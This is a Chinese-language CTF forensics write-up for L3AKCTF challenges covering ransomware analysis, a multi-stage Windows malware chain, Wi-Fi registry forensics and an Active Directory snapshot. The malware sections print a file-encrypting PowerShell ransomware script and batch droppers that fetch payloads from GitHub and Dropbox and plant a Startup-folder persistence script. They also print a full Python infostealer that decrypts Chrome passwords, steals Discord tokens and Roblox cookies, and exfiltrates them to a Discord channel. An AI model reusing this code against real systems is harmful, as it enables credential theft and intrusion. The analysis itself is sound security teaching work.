L3AKCTF(复现) Ghost In The Dark 1 2 3 4 5 6 7 8 9 A removable drive was recovered from a compromised system. Files appear encrypted, and a strange ransom note is all that remains. The payload? Gone. The key? Vanished. But traces linger in the shadows. Recover what was lost. Password to open zip - L3akCTF
给了一个GhostInTheDark.001 的文件,rstudio打开发现
有这些文件貌似和flag有关,其中被删的文件中,loader.ps1包含一段代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $key = [System.Text.Encoding]::UTF8.GetBytes("0123456789abcdef") $iv = [System.Text.Encoding]::UTF8.GetBytes("abcdef9876543210") $AES = New-Object System.Security.Cryptography.AesManaged $AES.Key = $key $AES.IV = $iv $AES.Mode = "CBC" $AES.Padding = "PKCS7" $enc = Get-Content "L:\payload.enc" -Raw $bytes = [System.Convert]::FromBase64String($enc) $decryptor = $AES.CreateDecryptor() $plaintext = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length) $script = [System.Text.Encoding]::UTF8.GetString($plaintext) Invoke-Expression $script # Self-delete Remove-Item $MyInvocation.MyCommand.Path
分析代码后得知,这是一系列powershell命令,它使用硬编码的 AES 密钥和初始化向量值来解密加密的L:\payload.enc
(先解base64),然后动态执行解密后的内容,执行完毕后,脚本自动删除自身文件
遂我们用cyberchef手动解密payload.enc
得到如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 $key = [System.Text.Encoding]::UTF8.GetBytes("m4yb3w3d0nt3x1st") $iv = [System.Text.Encoding]::UTF8.GetBytes("l1f31sf0rl1v1ng!") $AES = New-Object System.Security.Cryptography.AesManaged $AES.Key = $key $AES.IV = $iv $AES.Mode = "CBC" $AES.Padding = "PKCS7" # Load plaintext flag from C:\ (never written to L:\ in plaintext) $flag = Get-Content "C:\Users\Blue\Desktop\StageRansomware\flag.txt" -Raw $encryptor = $AES.CreateEncryptor() $bytes = [System.Text.Encoding]::UTF8.GetBytes($flag) $cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length) [System.IO.File]::WriteAllBytes("L:\flag.enc", $cipher) # Encrypt other files staged in D:\ (or L:\ if you're using L:\ now) $files = Get-ChildItem "L:\" -File | Where-Object { $_.Name -notin @("ransom.ps1", "ransom_note.txt", "flag.enc", "payload.enc", "loader.ps1") } foreach ($file in $files) { $plaintext = Get-Content $file.FullName -Raw $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext) $cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length) [System.IO.File]::WriteAllBytes("L:\$($file.BaseName).enc", $cipher) Remove-Item $file.FullName } # Write ransom note $ransomNote = @" i didn't mean to encrypt them. i was just trying to remember. the key? maybe it's still somewhere in the dark. the script? it was scared, so it disappeared too. maybe you'll find me. maybe you'll find yourself. - vivi (or his ghost) "@ Set-Content "L:\ransom_note.txt" $ransomNote -Encoding UTF8 # Self-delete Remove-Item $MyInvocation.MyCommand.Path
解密即可得到
L3AK{d3let3d_but_n0t_f0rg0tt3n}
BOMbardino crocodile 1 APT Lobster has successfully breached a machine in our network, marking their first confirmed intrusion. Fortunately, the DFIR team acted quickly, isolating the compromised system and collecting several suspicious files for analysis. Among the evidence, they also recovered an outbound email sent by the attacker just before containment, I wonder who was he communicating with...The flag consists of 2 parts.
打开给的邮件
发现有一个discord的连接,在其中发现了加密的旗帜文件、一个空的密码档案以及受害者的元数据。
另外在给的压缩包中,有crustacean用户的downloads中有
lil-l3ak-exam.pdf中有
这个链接是http://192.168.174.132:1234/seetwo/Lil-L3ak-secret-plans-for-tonight.zip
压缩包的内容是Lil L3ak secret plans for tonight.bat
,010直接打开发现是一堆中文,于是用winhex打开
由于文件开头带有 FF FE
字节顺序标记(BOM),编辑器会将其识别为 UTF-16LE
编码的文件,因此显示为中文字符。移除 BOM 并删除未使用的 echo
命令后,打开发现,在一堆字母混淆后得到了一个可读的第一阶段脚本。
1 start /min cmd /c "powershell -WindowStyle Hidden -Command Invoke-WebRequest -Uri 'https://github.com/bluecrustacean/oceanman/raw/main/t1-l3ak.bat' -OutFile '%TEMP%\temp.bat'; Start-Process -FilePath '%TEMP%\temp.bat' -WindowStyle Hidden"
该脚本从 GitHub 下载了一个文件(当前无法访问),所以我们需要在 Temp 文件夹中找到下载下来的批处理文件。
同样使用了 BOM 技术进行了混淆。清理后,我们得到了第二阶段的脚本。
1 start /min powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/bluecrustacean/oceanman/raw/main/ud.bat', '%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/uuhwziczwa79d6r8erdid/T602.zip?rlkey=fq4lptuz5tvw2qjydfwj9k0ym&st=mtz77hlx&dl=1', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 60; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\leak.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" && exit
ai分析一下
隐藏运行
start /min powershell.exe -WindowStyle Hidden
→ 以最小化/隐藏窗口启动PowerShell,避免用户察觉。
绕过安全协议
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
→ 强制使用TLS 1.2协议(可能用于绕过旧系统的下载限制)。
下载可疑文件(启动项植入)
DownloadFile('https://github.com/.../ud.bat', '%APPDATA%\\...\\Startup\\WindowsSecure.bat')
→ 从GitHub下载ud.bat
,保存到系统启动目录 (WindowsSecure.bat
)。
→ 危害 :系统重启时会自动运行此脚本,实现持久化攻击。
下载压缩包(恶意载荷)
DownloadFile('https://www.dropbox.com/.../T602.zip?...', 'C:\\Users\\Public\\Document.zip')
→ 从Dropbox下载T602.zip
到公共目录(链接含动态密钥rlkey
,逃避检测)。
解压ZIP文件
[System.IO.Compression.ZipFile]::ExtractToDirectory(...)
→ 将压缩包解压到C:/Users/Public/Document
。
延迟执行
Start-Sleep -Seconds 60
→ 等待60秒,可能规避沙箱检测或等待安全软件放松监控。
执行未知Python脚本
C:\Users\Public\Document\python.exe ...\leak.py
→ 调用压缩包内的python.exe
(非系统自带),运行leak.py
脚本。
→ 高风险 :leak.py
可能执行数据窃取(如键盘记录)、内网扫描、加密勒索等操作。
清除痕迹
Remove-Item 'C:/Users/Public/Document.zip' -Force
→ 删除ZIP压缩包,掩盖下载来源。
同样的,这个也采用了同样的BOM混淆,去混淆后发现
进行了字符串混淆,整个py脚本即可解密
1 2 3 4 5 6 7 8 encoded=""" """ import remapping={'cb' :'' ,'ts' :'' ,'cv' :'"' ,'ms' :'-' ,'gt' :'.' ,'ax' :'/' ,'nc' :'0' ,'bs' :'3' ,'tc' :'4' ,'ch' :':' ,'wj' :'A' ,'rd' :'B' ,'ui' :'C' ,'jl' :'D' ,'vv' :'H' ,'hp' :'K' ,'cm' :'L' ,'rz' :'P' ,'kv' :'S' ,'ym' :'U' ,'uj' :'W' ,'dt' :'\\' ,'up' :'_' ,'qx' :'a' ,'da' :'b' ,'qf' :'c' ,'bl' :'d' ,'ke' :'e' ,'fn' :'f' ,'jq' :'g' ,'ea' :'h' ,'lc' :'i' ,'ln' :'j' ,'wc' :'k' ,'nt' :'l' ,'zm' :'m' ,'pm' :'n' ,'hr' :'o' ,'xv' :'p' ,'bi' :'q' ,'ae' :'r' ,'eh' :'s' ,'og' :'t' ,'zk' :'u' ,'vf' :'v' ,'jm' :'w' ,'sf' :'x' ,'gp' :'y' ,'ny' :'z' ,'xe' :'{' } matches = re.findall(r'%(\w+)%' , encoded) decoded = '' .join([mapping.get(m, '?' ) for m in matches]) print (decoded)
得到前半段flagL3AK{Br40d0_st34L3r_
然后再去看一下leak.py,上来就是一大堆的混淆干扰,尝试搜索exec,找到关键部分
用cyberchef解密,以下为recipe
1 2 3 4 5 Label('a') Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') Reverse('Character') From_Base64('A-Za-z0-9+/=',true,false) Conditional_Jump('import',true,'a',100)
得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 import psutilimport platformimport jsonfrom datetime import datetimefrom time import sleepimport requestsimport socketfrom requests import getimport osimport reimport subprocessfrom uuid import getnode as get_macimport browser_cookie3 as steal, requests, base64, random, string, zipfile, shutil, os, re, sys, sqlite3from cryptography.hazmat.primitives.ciphers import (Cipher, algorithms, modes)from cryptography.hazmat.primitives.ciphers.aead import AESGCMfrom cryptography.hazmat.backends import default_backendfrom Crypto.Cipher import AESfrom base64 import b64decode, b64encodefrom subprocess import Popen, PIPEfrom json import loads, dumpsfrom shutil import copyfilefrom sys import argvimport discordfrom discord.ext import commandsfrom io import BytesIOintents = discord.Intents.default() intents.message_content = True bot = commands.Bot(command_prefix='!' , intents=intents) def scale (bytes , suffix="B" ): defined = 1024 for unit in ["" , "K" , "M" , "G" , "T" , "P" ]: if bytes < defined: return f"{bytes :.2 f} {unit} {suffix} " bytes /= defined uname = platform.uname() bt = datetime.fromtimestamp(psutil.boot_time()) host = socket.gethostname() localip = socket.gethostbyname(host) publicip = get(f'https://ipinfo.io/ip' ).text city = get(f'https://ipinfo.io/{publicip} /city' ).text region = get(f'https://ipinfo.io/{publicip} /region' ).text postal = get(f'https://ipinfo.io/{publicip} /postal' ).text timezone = get(f'https://ipinfo.io/{publicip} /timezone' ).text currency = get(f'https://ipinfo.io/{publicip} /currency' ).text country = get(f'https://ipinfo.io/{publicip} /country' ).text loc = get(f"https://ipinfo.io/{publicip} /loc" ).text vpn = requests.get('http://ip-api.com/json?fields=proxy' ) proxy = vpn.json()['proxy' ] mac = get_mac() roaming = os.getenv('AppData' ) output = open (roaming + "temp.txt" , "a" ) Directories = { 'Discord' : roaming + '\\Discord' , 'Discord Two' : roaming + '\\discord' , 'Discord Canary' : roaming + '\\Discordcanary' , 'Discord Canary Two' : roaming + '\\discordcanary' , 'Discord PTB' : roaming + '\\discordptb' , 'Google Chrome' : roaming + '\\Google\\Chrome\\User Data\\Default' , 'Opera' : roaming + '\\Opera Software\\Opera Stable' , 'Brave' : roaming + '\\BraveSoftware\\Brave-Browser\\User Data\\Default' , 'Yandex' : roaming + '\\Yandex\\YandexBrowser\\User Data\\Default' , } def Yoink (Directory ): Directory += '\\Local Storage\\leveldb' Tokens = [] for FileName in os.listdir(Directory): if not FileName.endswith('.log' ) and not FileName.endswith('.ldb' ): continue for line in [x.strip() for x in open (f'{Directory} \\{FileName} ' , errors='ignore' ).readlines() if x.strip()]: for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}' , r'mfa\.[\w-]{84}' ): for Token in re.findall(regex, line): Tokens.append(Token) return Tokens def Wipe (): if os.path.exists(roaming + "temp.txt" ): output2 = open (roaming + "temp.txt" , "w" ) output2.write("" ) output2.close() else : pass realshit = "" for Discord, Directory in Directories.items(): if os.path.exists(Directory): Tokens = Yoink(Directory) if len (Tokens) > 0 : for Token in Tokens: realshit += f"{Token} \n" cpufreq = psutil.cpu_freq() svmem = psutil.virtual_memory() partitions = psutil.disk_partitions() disk_io = psutil.disk_io_counters() net_io = psutil.net_io_counters() partitions = psutil.disk_partitions() partition_usage = None for partition in partitions: try : partition_usage = psutil.disk_usage(partition.mountpoint) break except PermissionError: continue system_info = { "embeds" : [ { "title" : f"Hah Gottem! - {host} " , "color" : 8781568 }, { "color" : 7506394 , "fields" : [ { "name" : "GeoLocation" , "value" : f"Using VPN?: {proxy} \nLocal IP: {localip} \nPublic IP: {publicip} \nMAC Adress: {mac} \n\nCountry: {country} | {loc} | {timezone} \nregion: {region} \nCity: {city} | {postal} \nCurrency: {currency} \n\n\n\n" } ] }, { "fields" : [ { "name" : "System Information" , "value" : f"System: {uname.system} \nNode: {uname.node} \nMachine: {uname.machine} \nProcessor: {uname.processor} \n\nBoot Time: {bt.year} /{bt.month} /{bt.day} {bt.hour} :{bt.minute} :{bt.second} " } ] }, { "color" : 15109662 , "fields" : [ { "name" : "CPU Information" , "value" : f"Psychical cores: {psutil.cpu_count(logical=False )} \nTotal Cores: {psutil.cpu_count(logical=True )} \n\nMax Frequency: {cpufreq.max :.2 f} Mhz\nMin Frequency: {cpufreq.min :.2 f} Mhz\n\nTotal CPU usage: {psutil.cpu_percent()} \n" }, { "name" : "Memory Information" , "value" : f"Total: {scale(svmem.total)} \nAvailable: {scale(svmem.available)} \nUsed: {scale(svmem.used)} \nPercentage: {svmem.percent} %" }, { "name" : "Disk Information" , "value" : f"Total Size: {scale(partition_usage.total)} \nUsed: {scale(partition_usage.used)} \nFree: {scale(partition_usage.free)} \nPercentage: {partition_usage.percent} %\n\nTotal read: {scale(disk_io.read_bytes)} \nTotal write: {scale(disk_io.write_bytes)} " }, { "name" : "Network Information" , "value" : f"Total Sent: {scale(net_io.bytes_sent)} \nTotal Received: {scale(net_io.bytes_recv)} " } ] }, { "color" : 7440378 , "fields" : [ { "name" : "Discord information" , "value" : f"Token: {realshit} " } ] } ] } DBP = r'Google\Chrome\User Data\Default\Login Data' ADP = os.environ['LOCALAPPDATA' ] def sniff (path ): path += '\\Local Storage\\leveldb' tokens = [] try : for file_name in os.listdir(path): if not file_name.endswith('.log' ) and not file_name.endswith('.ldb' ): continue for line in [x.strip() for x in open (f'{path} \\{file_name} ' , errors='ignore' ).readlines() if x.strip()]: for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}' , r'mfa\.[\w-]{84}' ): for token in re.findall(regex, line): tokens.append(token) return tokens except : pass def encrypt (cipher, plaintext, nonce ): cipher.mode = modes.GCM(nonce) encryptor = cipher.encryptor() ciphertext = encryptor.update(plaintext) return (cipher, ciphertext, nonce) def decrypt (cipher, ciphertext, nonce ): cipher.mode = modes.GCM(nonce) decryptor = cipher.decryptor() return decryptor.update(ciphertext) def rcipher (key ): cipher = Cipher(algorithms.AES(key), None , backend=default_backend()) return cipher def dpapi (encrypted ): import ctypes import ctypes.wintypes class DATA_BLOB (ctypes.Structure): _fields_ = [('cbData' , ctypes.wintypes.DWORD), ('pbData' , ctypes.POINTER(ctypes.c_char))] p = ctypes.create_string_buffer(encrypted, len (encrypted)) blobin = DATA_BLOB(ctypes.sizeof(p), p) blobout = DATA_BLOB() retval = ctypes.windll.crypt32.CryptUnprotectData( ctypes.byref(blobin), None , None , None , None , 0 , ctypes.byref(blobout)) if not retval: raise ctypes.WinError() result = ctypes.string_at(blobout.pbData, blobout.cbData) ctypes.windll.kernel32.LocalFree(blobout.pbData) return result def localdata (): jsn = None with open (os.path.join(os.environ['LOCALAPPDATA' ], r"Google\Chrome\User Data\Local State" ), encoding='utf-8' , mode="r" ) as f: jsn = json.loads(str (f.readline())) return jsn["os_crypt" ]["encrypted_key" ] def decryptions (encrypted_txt ): encoded_key = localdata() encrypted_key = base64.b64decode(encoded_key.encode()) encrypted_key = encrypted_key[5 :] key = dpapi(encrypted_key) nonce = encrypted_txt[3 :15 ] cipher = rcipher(key) return decrypt(cipher, encrypted_txt[15 :], nonce) class chrome : def __init__ (self ): self .passwordList = [] def chromedb (self ): _full_path = os.path.join(ADP, DBP) _temp_path = os.path.join(ADP, 'sqlite_file' ) if os.path.exists(_temp_path): os.remove(_temp_path) shutil.copyfile(_full_path, _temp_path) self .pwsd(_temp_path) def pwsd (self, db_file ): conn = sqlite3.connect(db_file) _sql = 'select signon_realm,username_value,password_value from logins' for row in conn.execute(_sql): host = row[0 ] if host.startswith('android' ): continue name = row[1 ] value = self .cdecrypt(row[2 ]) _info = '[==================]\nhostname => : %s\nlogin => : %s\nvalue => : %s\n[==================]\n\n' % (host, name, value) self .passwordList.append(_info) conn.close() os.remove(db_file) def cdecrypt (self, encrypted_txt ): if sys.platform == 'win32' : try : if encrypted_txt[:4 ] == b'\x01\x00\x00\x00' : decrypted_txt = dpapi(encrypted_txt) return decrypted_txt.decode() elif encrypted_txt[:3 ] == b'v10' : decrypted_txt = decryptions(encrypted_txt) return decrypted_txt[:-16 ].decode() except WindowsError: return None else : pass def saved (self ): try : with open (r'C:\ProgramData\passwords.txt' , 'w' , encoding='utf-8' ) as f: f.writelines(self .passwordList) except WindowsError: return None @bot.event async def on_ready (): print (f'Logged in as {bot.user} ' ) channel = bot.get_channel(CHANNEL_ID) if not channel: print (f"Could not find channel with ID: {CHANNEL_ID} " ) return main = chrome() try : main.chromedb() except Exception as e: print (f"Error getting Chrome passwords: {e} " ) main.saved() await exfiltrate_data(channel) await bot.close() async def exfiltrate_data (channel ): try : hostname = requests.get("https://ipinfo.io/ip" ).text except : hostname = "Unknown" local = os.getenv('LOCALAPPDATA' ) roaming = os.getenv('APPDATA' ) paths = { 'Discord' : roaming + '\\Discord' , 'Discord Canary' : roaming + '\\discordcanary' , 'Discord PTB' : roaming + '\\discordptb' , 'Google Chrome' : local + '\\Google\\Chrome\\User Data\\Default' , 'Opera' : roaming + '\\Opera Software\\Opera Stable' , 'Brave' : local + '\\BraveSoftware\\Brave-Browser\\User Data\\Default' , 'Yandex' : local + '\\Yandex\\YandexBrowser\\User Data\\Default' } message = '\n' for platform, path in paths.items(): if not os.path.exists(path): continue message += '```' tokens = sniff(path) if len (tokens) > 0 : for token in tokens: message += f'{token} \n' else : pass message += '```' try : from PIL import ImageGrab from Crypto.Cipher import ARC4 screenshot = ImageGrab.grab() screenshot_path = os.getenv('ProgramData' ) + r'\pay2winflag.jpg' screenshot.save(screenshot_path) with open (screenshot_path, 'rb' ) as f: image_data = f.read() key = b'tralalero_tralala' cipher = ARC4.new(key) encrypted_data = cipher.encrypt(image_data) encrypted_path = screenshot_path + '.enc' with open (encrypted_path, 'wb' ) as f: f.write(encrypted_data) await channel.send(f"Screenshot from {hostname} (Pay $500 for the key)" , file=discord.File(encrypted_path)) except Exception as e: print (f"Error taking screenshot: {e} " ) try : zname = r'C:\ProgramData\passwords.zip' newzip = zipfile.ZipFile(zname, 'w' ) newzip.write(r'C:\ProgramData\passwords.txt' ) newzip.close() await channel.send(f"Passwords from {hostname} " , file=discord.File(zname)) except Exception as e: print (f"Error with password file: {e} " ) try : usr = os.getenv("UserName" ) keys = subprocess.check_output('wmic path softwarelicensingservice get OA3xOriginalProductKey' ).decode().split('\n' )[1 ].strip() types = subprocess.check_output('wmic os get Caption' ).decode().split('\n' )[1 ].strip() except Exception as e: print (f"Error getting system info: {e} " ) usr = "Unknown" keys = "Unknown" types = "Unknown" cookie = [".ROBLOSECURITY" ] cookies = [] limit = 2000 roblox = "No Roblox cookies found" try : cookies.extend(list (steal.chrome())) except Exception as e: print (f"Error stealing Chrome cookies: {e} " ) try : cookies.extend(list (steal.firefox())) except Exception as e: print (f"Error stealing Firefox cookies: {e} " ) try : for y in cookie: send = str ([str (x) for x in cookies if y in str (x)]) chunks = [send[i:i + limit] for i in range (0 , len (send), limit)] for z in chunks: roblox = f'```{z} ```' except Exception as e: print (f"Error processing cookies: {e} " ) embed = discord.Embed(title=f"Data from {hostname} " , description="A victim's data was extracted, here's the details:" , color=discord.Color.blue()) embed.add_field(name="Windows Key" , value=f"User: {usr} \nType: {types} \nKey: {keys} " , inline=False ) embed.add_field(name="Roblox Security" , value=roblox[:1024 ], inline=False ) embed.add_field(name="Tokens" , value=message[:1024 ], inline=False ) await channel.send(embed=embed) with open (r'C:\ProgramData\system_info.json' , 'w' , encoding='utf-8' ) as f: json.dump(system_info, f, indent=4 , ensure_ascii=False ) await channel.send(file=discord.File(r'C:\ProgramData\system_info.json' )) try : os.remove(r'C:\ProgramData\pay2winflag.jpg' ) os.remove(r'C:\ProgramData\pay2winflag.jpg.enc' ) os.remove(r'C:\ProgramData\passwords.zip' ) os.remove(r'C:\ProgramData\passwords.txt' ) os.remove(r'C:\ProgramData\system_info.json' ) except Exception as e: print (f"Error cleaning up: {e} " ) BOT_TOKEN = "token" CHANNEL_ID = 1371505369230344273 if __name__ == "__main__" : bot.run(BOT_TOKEN)
功能分析如下:
系统信息收集 (system_info
):
地理位置信息:公网 IP、城市、地区、时区、国家代码
系统数据:主机名、操作系统详情、CPU/内存/硬盘/网络使用情况
硬件标识:MAC 地址、Windows 产品密钥
截图功能:全屏截图后使用 RC4 加密(密钥:tralalero_tralala
)
凭证窃取 :
Discord 令牌窃取 :
扫描多个浏览器的 leveldb
数据库(Chrome、Opera、Brave 等)
使用正则提取 Discord 登录凭证(包括 MFA 令牌)
浏览器密码窃取 :
解密 Chrome 存储的密码(使用 Windows DPAPI 和 AES-GCM)
通过 SQLite 读取 Login Data
文件
保存到 C:\ProgramData\passwords.txt
Cookie 劫持 :
窃取 Chrome/Firefox 的 ROBLOSECURITY
Cookie(Roblox 账户凭证)
数据外传机制 :
通过 Discord bot 发送收集的所有数据
发送目标:硬编码的频道 1371505369230344273
使用 bot token: token
(放不出来)
数据打包形式:
JSON 格式的系统报告 (system_info.json
)
压缩的密码文件 (passwords.zip
)
加密的屏幕截图 (pay2winflag.jpg.enc
)
反检测策略 :
临时文件清理:运行后删除 C:\ProgramData
下的所有痕迹
虚假功能:截图加密后勒索赎金(”Pay $500 for the key”)
多源数据收集:组合系统 API、注册表、网络服务提升成功率
其中,在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 try : from PIL import ImageGrab from Crypto.Cipher import ARC4 screenshot = ImageGrab.grab() screenshot_path = os.getenv('ProgramData' ) + r'\pay2winflag.jpg' screenshot.save(screenshot_path) with open (screenshot_path, 'rb' ) as f: image_data = f.read() key = b'tralalero_tralala' cipher = ARC4.new(key) encrypted_data = cipher.encrypt(image_data) encrypted_path = screenshot_path + '.enc' with open (encrypted_path, 'wb' ) as f: f.write(encrypted_data) await channel.send(f"Screenshot from {hostname} (Pay $500 for the key)" , file=discord.File(encrypted_path))
得知如何加密图片,这样即可解密最开始得到的加密图片
得到后一半flag
最终flag
L3AK{Br40d0_st34L3r_0r_br41nr0t}
Wi-Fight A Ghost? Wi-Fight A Ghost? 1 2 3 A Ghost never stays in one place for long. We have been hunting one and intercepted his device after a recent op. We believe it holds clues to his movements across the city. Your task is to retrace his footsteps. Analyze system artifacts, browser history, and wireless configurations
1.What was the ComputerName of the device?
99PhoenixDowns
取证软件秒了,当然也可以去翻注册表
计算机名称信息可以在 SYSTEM hive 中找到。
所有 Local Machine hive(HKLM)位于以下路径:
1 C:\Windows\System32\config
计算机名可以在以下注册表键中找到:
1 HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
2. What was the SSID of the first Wi-Fi network they connected to?
mugs_guest_5G
同样的,翻注册表也可,Wi-Fi SSIDs 位于HIVE: SOFTWARE,
可以在以下注册表键中找到
1 Microsoft\Windows NT\CurrentVersion\NetworkList
3.When did they obtain the DHCP lease at the first café?
2025-05-14 00:13:36
关于 Wi-Fi 的 DHCP 信息详情( DhcpIPAddress DhcpSubnetMask
DhcpDefaultGateway
LeaseObtainedTime LeaseTerminatesTime )
位于network interfaces
中。
位于:HIVE: SYSTEM
注册表键值:
ControlSet001\Services\Tcpip\Parameters\Interfaces
🤔取证软件没识别出来,识别到的是另一个晚的
4. What IP address was assigned at the first café?
192.168.0.114
由上图可见为192.168.0.114
5. What GitHub page did they visit at the first café?
https://github.com/dbissell6/DFIR/blob/main/Blue_Book/Blue_Book.md
取证软件秒了,时间也对的上
6. What did they download at the first café?
ChromeSetup.exe
纵观全场,只有一个下载文件,时间也对的上
7. What was the name of the notes file?
HowToHackTheWorld.txt
根据历史记录,可得
8.What are the contents of the notes?
Practice and take good notes.
文件所在目录文件没给,遂需要去其他可能存储文件内容的地方寻找
知识点:
主文件表(MFT)是 NTFS 文件系统中的一种特殊系统文件。它作为数据库,存储了卷上每个文件和目录的详细信息,包括元数据、文件内容及其在磁盘上的物理位置。
每个 MFT 记录通常大小为 1024 字节(1KB)。
小于约 700 字节的文件通常直接存储在 MFT 记录本身中。这被称为驻留数据。
文件大于这个大小的话,则会被存储在磁盘的其他数据簇中,MFT 记录中会包含指向这些簇的指针。这些被称为非驻留数据。
理解 MFT 如何存储数据对于解答这个问题至关重要。
$MFT 文件位于卷的根目录 C:\$MFT
。
然后开始解题
本题如果想用MFT加载器加载的话,由于文件过大会比较难加载出来,所以最好是直接搜索关键词
9. What was the SSID of the second Wi-Fi network they connected to?
AlleyCat
之前见到过
10. When did they obtain the second lease?
2025-05-14 00:35:07
之前也有
11. What was the IP address assigned at the second café?
10.0.6.28
之前貌似有
12. What website did they log into at the second café?
http://l3ak.team/
chrome浏览器的历史
13. What was the MAC address of the Wi-Fi adapter used?
48-51-c5-35-ea-53 or 48:51:C5:35:EA:53
14. What city did this take place in?
Fort Collins
根据时区确定国家
在查看系统日志,然后发现了 WebCache 目录:
1 C:\Users\NotVi\AppData\Local\Microsoft\Windows\WebCache
WebCache 存储了 WebCacheV01.dat 数据库和几个日志文件。它的主要目的是缓存浏览数据并跟踪与互联网相关的活动。V01.log
是一个日志文件,与 WebCache.dat 一起使用。
在其中我们发现了
clientlocation,这表明了其缓存时的位置,那么我们大概可以得到答案了
其经纬度为40.57873710006415280 ,-105.07806259349915479
L3ak Advanced Defenders 1 2 3 4 5 6 7 8 9 You have been trying to infiltrate the L3ak office for some time, and your friend just gave you this mysterious snapshot. What information can you glean from it? For Q4: The format should read "OS, Workstation". For Q5: This question is asking about "workstations". Based on the names of the computers you have found, which of these apply to this question? For Q7: You only need to place the hex value one time at the very end of your answer. Example: userl, user2, Oxxxxxx (number of X's not accurate to the answer). These users will be employees. For Q12:I apologize there is an error in the solution. If you have found the correct answer, swap the last two values and it will be correct.
010打开发现是一个win-ad-ob文件
1.What is the forest root domain name? Format: prefix.name.suffix
l3ak.ctf.com
使用 Active Directory Explorer v1.52 中下载的软件打开即可看见
2.What is the name of the primary domain controller for this domain?
L3AKPRIDC
在森林中,属性 fSMORoleOwner
包含字符串: CN=NTDS Settings,CN=L3AKPRIDC,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=l3ak,DC=ctf,DC=com
,在该字符串的第二个位置发现了 CN=L3AKPRIDC
在 Active Directory 中,每个域只有一个域控制器能持有 Schema Master 角色。
3. Which hosts have not been assigned to an OU? Format: host1, host2, …
FileSrv03, FileSrvWin11, InternStn
对于没有组织单元(Organizational Unit,OU)的主机,将其放置在 CN=Computers
中,本题中为 FileSrv03, FileSrvWin11, InternStn
4.List the oldest operating system used in the domain and the name of the workstation with this OS. Format: OS1, OS2, …
Windows 95, InternStn
在计算机 InternStn
中,我们发现了 operatingSystem 和 operatingSystemVersion 这两个属性,两者都表明这是一个非常老的操作系统,是所有列出的计算机中最老的一个。
5.Based on their current operating system, which workstations are placed in the wrong OU? Format: host1, host2, …
ITWorkstn02, ITWorkstn03
在 Windows 10 OU 中,发现了 2 个 Red Hat Enterprise Linux,这些操作系统放错了位置,但它们只是测试机器,不是工作站
在其他四个工作站(红框中)中,2和3是win11的,放错了位置
6. Which hosts are no longer used by the organization? Format: host1, host2, …
IT, ITTroubleshootStn, Linux, Repo
在CN=Deleted Objects
并仅过滤计算机,我们可以列出带有计算机图标的所有计算机,以了解哪些计算机被使用过
直接找也行
***
7.Which users have their account disabled, and what is the value (in hex) of the attribute that dictates this? Format: displayName, 0x…
Wilhelm Firtz, Reginald Norwood, Christopher Price, 0x202
对于这种搜索过滤,建议使用以下资源:UserAccountControl 属性/标志值 - Jack Stromberg — UserAccountControl Attribute/Flag Values - Jack Stromberg 从网站中我们得知了禁止用户的属性为514
过滤的用户属性 userAccountControl = 514
属性
含义
十六进制值分析
userAccountControl
用户账户控制属性
控制账户状态的32位整数组合
禁用标志位
账户禁用状态
固定包含 0x2
(启用时不含此值)
常见组合值
禁用账户典型值
0x202
(已禁用 + 普通用户)或 0x210
(禁用 + 密码永不过期)
